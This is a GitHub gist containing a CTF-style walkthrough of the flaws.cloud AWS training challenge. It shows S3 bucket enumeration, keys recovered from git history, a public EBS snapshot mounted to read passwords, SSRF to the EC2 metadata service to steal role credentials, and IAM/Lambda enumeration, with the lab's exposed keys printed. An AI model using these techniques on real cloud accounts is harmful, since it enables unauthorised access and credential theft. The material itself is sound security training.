Skip to content

Instantly share code, notes, and snippets.

Last active May 21, 2021
What would you like to do?

Background itself says it best:

Through a series of levels you'll learn about common mistakes and gotchas when using Amazon Web Services (AWS). 
There are no SQL injection, XSS, buffer overflows, or many of the other vulnerabilities you might have seen before. As much as possible, these are AWS specific issues.

A series of hints are provided that will teach you how to discover the info you'll need. 
If you don't want to actually run any commands, you can just keep following the hints which will give you the solution to the next level. 
At the start of each level you'll learn how to avoid the problem the previous level exhibited.

Scope: Everything is run out of a single AWS account, and all challenges are sub-domains of

Level 1

Level 1 - Challenge statement:

This level is buckets of fun. See if you can find the first sub-domain.

My approach:

The emphasized word buckets must refer to S3 buckets. And given that S3 buckets are able to host static websites on them - it's likely that is hosted on s3.

Lets get the IP address (A Record) of



  Non-authoritative answer:

Now, lets do an reverse look-up on


  Non-authoritative answer:     name =

Ok - confirmed. It's an s3 static website in the us-west-2 region.

If you using a custom domain (e.g. for you S3 hosted static site, then the bucket name must match the domain name.

This tells us the bucket name is

The URL format for S3 HTTP end points are as follows: s3-<region><bucketname>

So given the information we have, we can tell that the s3 end point for this bucket is:

Browse there, and you'll get an XML response referencing the following files within the bucket:

  • hint1.html
  • hint2.html
  • hint3.html
  • index.html
  • robots.txt
  • secret-dd02c7c.html

Obviously secret-dd02c7c.html looks juicy, lets browse there:

Level 2 unlocked.

Level 2

Level 2 - Challenge statement:

The next level is fairly similar, with a slight twist. You're going to need your own AWS account for this. You just need the free tier.


My approach:

Given that they say this is similar to before, I imagine it's related to S3 permissions again - and they require us to have our own AWS Account - so initial thinking is this is a misconfiguration in cross-AWS account access.

We know the bucket name is

Configure AWS CLI with your Access Key and Secret Key:

  ~$ aws configure
  AWS Access Key ID [********************]:
  AWS Secret Access Key [********************]:
  Default region name [ap-southeast-1]: us-west-2
  Default output format [None]:

Now lets list the objects in the bucket via the AWS CLI:

        :~$ aws s3 ls s3:// --region us-west-2 --recursive
        2017-02-27 10:02:15      80751 everyone.png
        2017-03-03 11:47:17       1433 hint1.html
        2017-02-27 10:04:39       1035 hint2.html
        2017-02-27 10:02:14       2786 index.html
        2017-02-27 10:02:14         26 robots.txt
        2017-02-27 10:02:15       1051 secret-e4443fc.html

Again, the secret file looks good, lets open it in a browser

The URL format for S3 HTTP end points are as follows: s3-<region><bucketname>

So given the information we have, we can tell that the s3 end point for this bucket is:

So lets open the browser too:

Level 3 unlocked.

Level 3

Level 3 - Challenge statement:

The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you'll find something that will let you list what other buckets are.


My approach:

Similar suggests S3 again, perhaps one with AWS access and secret keys in it.

We know that the bucket name to start from is

Let's first try public access, by browsing too:

Works!, seems to be a bunch of files in there.

Lets get a cleaner list by using the AWS CLI:

  ~$ aws s3 ls s3:// --recursive
  2017-09-17 23:12:24         52 .git/COMMIT_EDITMSG
  2017-09-17 23:12:24         23 .git/HEAD
  2017-09-17 23:12:24        130 .git/config
  2017-09-17 23:12:24         73 .git/description
  2017-09-17 23:12:24        452 .git/hooks/applypatch-msg.sample
  2017-09-17 23:12:24        896 .git/hooks/commit-msg.sample
  2017-09-17 23:12:24        189 .git/hooks/post-update.sample
  2017-09-17 23:12:24        398 .git/hooks/pre-applypatch.sample
  2017-09-17 23:12:24       1704 .git/hooks/pre-commit.sample
  2017-09-17 23:12:24       4898 .git/hooks/pre-rebase.sample
  2017-09-17 23:12:24       1239 .git/hooks/prepare-commit-msg.sample
  2017-09-17 23:12:24       3611 .git/hooks/update.sample
  2017-09-17 23:12:24        600 .git/index
  2017-09-17 23:12:24        240 .git/info/exclude
  2017-09-17 23:12:24        359 .git/logs/HEAD
  2017-09-17 23:12:24        359 .git/logs/refs/heads/master
  2017-09-17 23:12:24        679 .git/objects/0e/aa50ae75709eb4d25f07195dc74c7f3dca3e25
  2017-09-17 23:12:24        770 .git/objects/2f/c08f72c2135bb3af7af5803abb77b3e240b6df
  2017-09-17 23:12:25        820 .git/objects/53/23d77d2d914c89b220be9291439e3da9dada3c
  2017-09-17 23:12:25        245 .git/objects/61/a5ff2913c522d4cf4397f2500201ce5a8e097b
  2017-09-17 23:12:25     112013 .git/objects/76/e4934c9de40e36f09b4e5538236551529f723c
  2017-09-17 23:12:25        560 .git/objects/92/d5a82ef553aae51d7a2f86ea0a5b1617fafa0c
  2017-09-17 23:12:25        191 .git/objects/b6/4c8dcfa8a39af06521cf4cb7cdce5f0ca9e526
  2017-09-17 23:12:25         42 .git/objects/c2/aab7e03933a858d1765090928dca4013fe2526
  2017-09-17 23:12:25        904 .git/objects/db/932236a95ebf8c8a7226432cf1880e4b4017f2
  2017-09-17 23:12:25         98 .git/objects/e3/ae6dd991f0352cc307f82389d354c65f1874a2
  2017-09-17 23:12:25        279 .git/objects/f2/a144957997f15729d4491f251c3615d508b16a
  2017-09-17 23:12:25        125 .git/objects/f5/2ec03b227ea6094b04e43f475fb0126edb5a61
  2017-09-17 23:12:25         41 .git/refs/heads/master
  2017-02-27 08:14:33     123637 authenticated_users.png
  2017-02-27 08:14:34       1552 hint1.html
  2017-02-27 08:14:34       1426 hint2.html
  2017-02-27 08:14:35       1247 hint3.html
  2017-02-27 08:14:33       1035 hint4.html
  2017-02-27 10:05:16       1703 index.html
  2017-02-27 08:14:33         26 robots.txt

2 interesting bits here, namely authenticated_users.png and the .git directory contents.

Lets browse to have a look at the PNG first:

Ok thats nothing useful, just an image for the level 3 documentation...

Now lets poke around the .git directory...

Lets make a local copy first:

$ aws s3 cp s3:// ~/testtest --recursive

.git/COMMIT_EDITMSG contains the message: "Oops, accidentally added something I shouldn't have" - which likely means that they did a commit inclusive of AWS keys...

Furthermore if I run git log I get:

  commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526
  Author: 0xdabbad00 <>
  Date:   Sun Sep 17 09:10:43 2017 -0600

      Oops, accidentally added something I shouldn't have

  commit f52ec03b227ea6094b04e43f475fb0126edb5a61
  Author: 0xdabbad00 <>
  Date:   Sun Sep 17 09:10:07 2017 -0600

      first commit

This implies there is something in commit f52ec03b227ea6094b04e43f475fb0126edb5a61 that the developer didn't want there, and removed it in commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526

Lets have a closer look at commit f52ec03b227ea6094b04e43f475fb0126edb5a61

git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61

Then lets look at what file(s) have popped out:

        ~/testtest$ ls
        access_keys.txt  authenticated_users.png  hint1.html  hint2.html  hint3.html  hint4.html  index.html  robots.txt

Oops, there is access_keys.txt, lets look

        ~/testtest$ cat access_keys.txt
        access_key AKIAJ366LIPB4IJKT7SA
        secret_access_key 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

Lets make another AWS configure profile using the newly discovered keys:

        ~/testtest$ aws configure --profile flawslevel3
        AWS Access Key ID [None]: AKIAJ366LIPB4IJKT7SA
        AWS Secret Access Key [None]: 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
        Default region name [None]: us-west-2
        Default output format [None]:

Now let's see if they are valid, and if any interesting S3 buckets are available:

        $ aws s3 ls --profile flawslevel3
        2017-02-19 03:41:52
        2017-05-30 00:34:53 config-bucket-975426262029
        2017-02-27 04:06:33 flaws-logs
        2017-02-19 03:40:54
        2017-02-24 13:15:42
        2017-02-27 02:29:03
        2017-02-27 02:49:31
        2017-02-27 03:49:03
        2017-02-27 03:48:40
        2017-02-27 04:07:13

Indeed!, there are the bucket names for level 2 to the end.

Lets try browse to Level 4 publicly:

Level 4 unlocked.

Level 4

Level 4 - Challenge statement:

For the next level, you need to get access to the web page running on an EC2 at It'll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.


My approach:

Challenge states that there is an EBS snapshot of the EC2 instance - so I'd imagine we could find our creds in there.

Lets try and get a VolumeID of the running instances:

        aws ec2 describe-instances --profile flaws
        "Ebs": {
             "Status": "attached",
             "DeleteOnTermination": true,
             "VolumeId": "vol-04f1c039bc13ea950",
             "AttachTime": "2017-02-12T22:29:25.000Z"

Convenient, only a single running EC2 instance, and has a VolumeID of vol-04f1c039bc13ea950 - but lets be sure it's actually the instance we want my comparing the public IPv4 address

        aws ec2 describe-instances --profile flaws
        "Association": {
             "PublicIp": "",
             "PublicDnsName": "",
             "IpOwnerId": "amazon"

The running instance has an public IP of, lets do a look-up on to see if it matches:

        ~$ nslookup

        Non-authoritative answer:    canonical name =

It's a match!

Now lets find that EBS snapshot by VolumeId

        ~$ aws ec2 describe-snapshots --filters "Name=volume-id, Values=vol-04f1c039bc13ea950" --profile flaws
            "Snapshots": [
                    "Description": "",
                    "Tags": [
                            "Value": "flaws backup 2017.02.27",
                            "Key": "Name"
                    "Encrypted": false,
                    "VolumeId": "vol-04f1c039bc13ea950",
                    "State": "completed",
                    "VolumeSize": 8,
                    "StartTime": "2017-02-28T01:35:12.000Z",
                    "Progress": "100%",
                    "OwnerId": "975426262029",
                    "SnapshotId": "snap-0b49342abd1bdcb89"

Now let's check the createVolumePermission on this snapshot:

        ~$ aws ec2 describe-snapshot-attribute --snapshot-id snap-0b49342abd1bdcb89 --attribute createVolumePermission --profile flaws
            "SnapshotId": "snap-0b49342abd1bdcb89",
            "CreateVolumePermissions": [
                    "Group": "all"

Oops!, Anyone can create a volume based on this snapshot.

Let's try and create a volume from this snapshot in our own AWS account so we can use it to spin up an EC2 instance with our own SSH keypair and poke around.

        aws ec2 create-volume --region us-west-2 --availability-zone us-west-2a --snapshot-id snap-0b49342abd1bdcb89
              "State": "creating"

Looks good!

        aws ec2 describe-volumes
              "VolumeId": "vol-0a8f64220765bd28a"
              "State": "available"

Very nice!

How we need to make an EC2 instance, and mount this extra volume to poke around... Gonna do this via the AWS Console, as that way I don't need to go and find AMI IDs, Security Group names, Subnets IDs etc

<I'm off at the AWS Console, spinning up a T2.micro in us-west-2a - with a security group allowing SSH in>....

I'm back.

First lets get the EC2 instance ID:

        aws ec2 describe-instances
              "InstanceId": "i-060483a9958562fad"

Now lets attach the volume we created on /dev/sdf:

        aws ec2 attach-volume --volume-id vol-0a8f64220765bd28a --instance-id i-060483a9958562fad --device /dev/sdf
              "State": "attaching"

Great, now we should be good to SSH into the instance using our own keypair. Lets get the public IP:

        aws ec2 describe-instances --instance-id i-060483a9958562fad
              "PublicIp": "",

Ok SSH time:

        ssh -i mysupasecretprivatekey ec2user@

Lets see if we can see the block device

        [ec2-user@ip-172-31-31-47 ~]$ lsblk
        xvda    202:0    0   8G  0 disk
        └─xvda1 202:1    0   8G  0 part /
        xvdf    202:80   0   8G  0 disk
        └─xvdf1 202:81   0   8G  0 part

There is the virtual disk - /dev/xvdf1, lets make a mount point and mount it:

        sudo mkdir /mnt/flaws
        sudo mount /dev/xvdf1 /mnt/flaws
        $ mount
        /dev/xvdf1 on /mnt/flaws type ext4 (rw,relatime,data=ordered)

Lets see what we can find:

        $ ls /mnt/flaws/
        bin   dev  home        initrd.img.old  lib64       media  opt   root  sbin  srv  tmp  var      vmlinuz.old
        boot  etc  initrd.img  lib             lost+found  mnt    proc  run   snap  sys  usr  vmlinuz

Looks like a fvalid linux filesystem layout, now... where to get those crendentials. The challenge said... "a snapshot was made of that EC2 shortly after nginx was setup on it."

        $ cat /mnt/flaws/etc/nginx/.htpasswd


Username: flaws

However is that password encrypted or plain-text? I quick attempt at confirmed it's not clear-text

But it must have been entered in plain-text originally, lets see what user directories we have...

        # ls /mnt/flaws/home

Just the one user - ubuntu

Oops! they left the script in their home-directory with the command to generate the encrypted htpasswd from the clear-text one!

        $ cat | more
        htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

Lets try that. User: flaws Password: nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M


BTW - the /home/ubuntu/.bash_history makes for good reading too

Tells us to go to page:

Level 5 unlocked.

Level 5

Level 5 - Challenge statement:

This EC2 has a simple HTTP only proxy on it. Here are some examples of it's usage: See if you can use this proxy to figure out how to list the contents of the level6 bucket at that has a hidden directory in it.


My approach:

We need to find the hidden directory within the level 6 bucket -

What happens if we try browse directly to the bucket via a browser?

        Access Denied
        Level 6 is hosted in a sub-directory, but to figure out that directory, you need to play level 5 properly.

Ok, so the level 5 EC2 instance gives us a proxy, where the target URL should be appended to the end of

What if we tried to browse to the Level6 bucket via the proxy?

No dice.

I spend quite a bit of time thinking this one through, and tried a few fruitless things. So decided to get a hint via: which said:

        On cloud services, including AWS, the IP is magical. It's the metadata service.
        There is an RFC on it (RFC-3927), but you should read the AWS specific docs on it here.

Ah! of course! what if use the proxy to get it's own instance meta-data... perhaps we could get some credentials or other useful info to use...

Lets try and find something - within the latest meta-data..


iam/ looks interesting - lets go in there:


security-credentials/ - yes please, lets follow that


flaws/ - nice, that is our IAM account name

          "Code" : "Success",
          "LastUpdated" : "2018-02-07T06:23:47Z",
          "Type" : "AWS-HMAC",
          "AccessKeyId" : "ASIAJXNSZYFI7LKRQ4KA",
          "SecretAccessKey" : "gX0Tlc11lbWsdhPMKSGtWCAR2EuTqauh6DFAt4f8",
          "Token" : "FQoDYXdzELj//////////wEaDKOpciHx0oqRxX5GbiK3A/MQWiOVjusWUJ0Uq2gVwHpsro6Yz9kztwcyyKmzMSUxc85LAtdyr2Q6zQ5AIe1GATRGWAqpG+z1ZZdKIrernZaqc6Cv8zNkQsPC0yLVmTjGJcBG443u6phnrnmkea+nXzA2X9rHC191XIlWH3JfOqR4L92+/Q9uOmt3K1XHoXkzHWr+OdbbvYedYAjqngLz6ifOGGZ1LC5s6a35/hw4ty3xaAXGC1x1z+uDuq5AM3FcrNv21FdBKOzz4VqKg3FXeJi4VLyetuOYJojj/i0goLZ1Lw7FGoX3lW1xwBV18yVQTscaEWI/s5EQS1nNOo+XNkbuT+CuxQUvAbU5CJyLCt7DPWz3SPBn/YY1mGgDRJdRWErOQzxw1PYQgrNVxca7ZhzLlKjR7J26IpD0E88W4Y4hRjut3wtlL5QXqNCUe4Wob9szWi/ClNxLxscsDNxlIhvbStwgEVrqg3UDLQrS+KDhL2uk1Rd49SQ5vYLQ2TjalvDxl+RWmC3la5GzqrfHFQIhhagb4ciJpdKc2R+J7Gn8gGdUZt8cEym0iUR0Dg79PO+s529nIvo+d0Z6lyXh4DLRTIYUN+wo1bbq0wU=",
          "Expiration" : "2018-02-07T12:33:10Z"

Great! creds!

But given this will be an IAM Role, we can't just use the AccessKeyId and SecretAccessKey as these were issued by STS (security Token Service), hence need to use the Token too. Furthermore, these values rotate automatically - so will need to get them programmatically and use them right away.

So I think I'll script it as follows to pull them into environment variables programmatically:

        export AWS_ACCESS_KEY_ID=`curl | grep "AccessKeyId" | awk '{print $3}' | cut -d\" -f2`

        export AWS_SECRET_ACCESS_KEY=`curl | grep "SecretAccessKey" | awk '{print $3}' | cut -d\" -f2`

        export AWS_SESSION_TOKEN=`curl | grep "Token" | awk '{print $3}' | cut -d\" -f2`

Then lets see if we can list the contents of the level 6 bucket:

        aws s3 ls s3://                                                 
                                   PRE ddcc78ff/                                                                           
        2017-02-27 10:11:07        871 index.html

Oh! looky - ddcc78ff/ must be our sub-directory, lets browse there:


Level 6 unlocked.

Level 6

Level 6 - Challenge statement:

For this final challenge, you're getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account. Access key ID: AKIAJFQ6E7BY57Q3OBGA Secret: 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


My approach:

This time we start with purportedly valid creds, so it seems we need to try a look for some misconfigurations to exploit.

First lets load the creds for use in the AWS CLI

        $ aws configure --profile flawslevel6          
        AWS Access Key ID [None]: AKIAJFQ6E7BY57Q3OBGA
        AWS Secret Access Key [None]: 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
        Default region name [None]: us-west-2
        Default output format [None]:

The AWS documentation states the following as it related to the SecurityAudit managed policy:

        Security Auditor
        AWS managed policy name: SecurityAudit

        Use case: This user monitors accounts for compliance with security requirements. This user can access logs and                 events to investigate potential security breaches or potential malicious activity.

        Policy description: This policy grants permissions to view configuration data for many AWS services and to review               their logs.

Interesting, I noticed a S3 bucket called flaws-log earlier, lets see:

        aws s3 ls s3://flaws-logs --profile flawslevel6
        An error occurred (AccessDenied) when calling the ListObjects operation: Access Denied

Ok, not that easy.

Other AWS services that this policy is likely related to would be CloudTrail and CloudWatch...

        aws cloudtrail describe-trails --profile flawslevel6
        "trailList": [      
          "IncludeGlobalServiceEvents": true,
          "Name": "cloudtrail",
          "S3KeyPrefix": "cloudtrail",
          "TrailARN": "arn:aws:cloudtrail:us-west-2:975426262029:trail/cloudtrail",
          "LogFileValidationEnabled": true,
          "IsMultiRegionTrail": true,
          "HasCustomEventSelectors": false,
          "S3BucketName": "flaws-logs",
          "HomeRegion": "us-west-2"

Indeed CouldTrail is ON, with the trail name of cloudtrail and pushing files with the cloudtrail prefix to the flaws-logs bucket.

Lets see if we can list the CloudTrail events:

        ~$ aws cloudtrail lookup-events --profile flawslevel6                                                                                                                                           
        An error occurred (AccessDeniedException) when calling the LookupEvents operation: User: arn:aws:iam::975426262029:user/Level6 is not authorized to perform: cloudtrail:LookupEvents


Lets learn more about this user:

  $ aws --profile flawslevel6 iam get-user
        "User": {                                                                                                            
        "UserName": "Level6",                                                                                             
        "Path": "/",                                                                                                       
        "CreateDate": "2017-02-26T23:11:16Z",                                                                               
        "Arn": "arn:aws:iam::975426262029:user/Level6"

And their attached policies:

        $ aws --profile flawslevel6 iam list-attached-user-policies --user-name Level6
            "AttachedPolicies": [
                    "PolicyName": "list_apigateways",
                    "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
                    "PolicyName": "SecurityAudit",
                    "PolicyArn": "arn:aws:iam::aws:policy/SecurityAudit"

Oh!, this user is also attached to the list_apigateways policy.

Lets learn more about this policy:

        aws --profile flawslevel6 iam get-policy  --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
            "Policy": {
                "PolicyName": "list_apigateways",
                "Description": "List apigateways",
                "CreateDate": "2017-02-20T01:45:17Z",
                "AttachmentCount": 1,
                "IsAttachable": true,
                "PolicyId": "ANPAIRLWTQMGKCSPGTAIO",
                "DefaultVersionId": "v4",
                "Path": "/",
                "Arn": "arn:aws:iam::975426262029:policy/list_apigateways",
                "UpdateDate": "2017-02-20T01:48:17Z"

Now that we have the ARN and the version id - we can get the meat of this policy:

        $ aws --profile flawslevel6 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4
            "PolicyVersion": {
                "CreateDate": "2017-02-20T01:48:17Z",
                "VersionId": "v4",
                "Document": {
                    "Version": "2012-10-17",
                    "Statement": [
                            "Action": [
                            "Resource": "arn:aws:apigateway:us-west-2::/restapis/*",
                            "Effect": "Allow"
                "IsDefaultVersion": true

Now we know that this user is allowed to use the action GET with the resource arn:aws:apigateway:us-west-2::/restapis/*

API Gateway is typically used in conjunction with Lambda functions, lets see if we can see any:

        $ aws --region us-west-2 --profile flawslevel6 lambda list-functions
            "Functions": [
                    "TracingConfig": {
                        "Mode": "PassThrough"
                    "Version": "$LATEST",
                    "CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=",
                    "FunctionName": "Level6",
                    "MemorySize": 128,
                    "CodeSize": 282,
                    "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
                    "Handler": "lambda_function.lambda_handler",
                    "Role": "arn:aws:iam::975426262029:role/service-role/Level6",
                    "Timeout": 3,
                    "LastModified": "2017-02-27T00:24:36.054+0000",
                    "Runtime": "python2.7",
                    "Description": "A starter AWS Lambda function."

There is one! Called Level6 - lets look into the policy:

        aws --region us-west-2 --profile flawslevel6 lambda get-policy --function-name Level6
            "Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"904610a93f593b76ad66ed6ed82c0a8b\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:975426262029:function:Level6\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\"}}}]}"

Interesting info, we can executearn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\ and s33ppypa75 is a rest-api-id

To get the full path we'll need the stage name:

        aws --profile flawslevel6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75"
            "item": [
                    "stageName": "Prod",
                    "cacheClusterEnabled": false,
                    "cacheClusterStatus": "NOT_AVAILABLE",
                    "deploymentId": "8gppiv",
                    "lastUpdatedDate": 1488155168,
                    "createdDate": 1488155168,
                    "methodSettings": {}

Stage name is: Prod

So we have all the pieces to complete the format: https://<rest-api-id>.execute-api.<region><stage-name>/<lambda function>

Therefore, we can access the endpoint here:

If we browse there we get the following output:

        "Go to"  


Level 6 complete.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment